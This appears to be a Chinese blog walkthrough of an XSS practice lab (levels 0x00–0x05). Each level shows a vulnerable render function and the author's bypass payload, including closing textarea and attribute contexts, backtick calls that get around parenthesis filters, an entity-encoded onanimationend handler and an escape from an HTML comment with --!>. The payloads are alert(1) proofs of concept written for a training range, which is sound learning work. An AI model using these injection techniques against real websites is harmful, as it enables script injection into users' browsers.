耗子的XSS靶场wp

耗子的XSS靶场wp

靶场传送门

GitHub仓库传送门

0x00

非常简单的一关

function render (input) {
   
  return '<div>' + input + '</div>'
}

直接通关

<script>alert(1)</script>

0x01

这一关使用了textarea来将我们的输入转成文本

function render (input) {
   
  return '<textarea>' + input + '</textarea>'
}

这里我的思路是闭合textarea

</textarea><script>alert(1)</script>

0x02

第二关是闭合属性的

function render (input) {
   
  return '<input type="name" value="' + input + '">'
}

只需要简单闭合就🆗了

""<><script>alert(1)</script>

<input type="name" value=""><script>alert(1)</script>">

0x03

function render (input) {
   
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

可以看到过滤了[ ] ( ) 这几个符号,我一开始的思路是想到用编码方式绕过,经过学习发现这个想法是不能实现的。

第三关查阅了资料一次对浏览器解析和XSS的深度探究从中了解在原始文本元素(Raw textelements),<script><style>中是无法使用字符实体的。

要用到 ` 深入浅出ES6(四):模板字符串

<script>alert`1`</script>

0x04

function render (input) {
   
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

可以看到 ` 也被过滤掉了,那么思路回到编码绕过并根据上一关的学习,在

<script>中是无法使用编码字符实体的,所以需要借助属性值,因为属性值首先会被HTML解析 。那么思路明确后非常简单了,先去bp学院复制一个payload然后将过滤字符进行实体编码转换

<style>@keyframes x{
   }</style><img style="animation-name:x" onanimationend="alert&#40;1&#41;"></img>

0x05

这一关涉及到注释

function render (input) {
   
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

可以看到-->被替换成一个😂来避免注释。我试过通过闭合后面的,但是不成功

<script>alert(1)</script><!-- 

<!--<script>alert(1)</script><!-- -->

也就是说我们必须闭合前面的才能逃出注释,然后注释有2种

<!-- -->
<!-- --!>

所以答案很明显了

--!><script>alert(1)</script>

<-- --!><script>alert(1)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值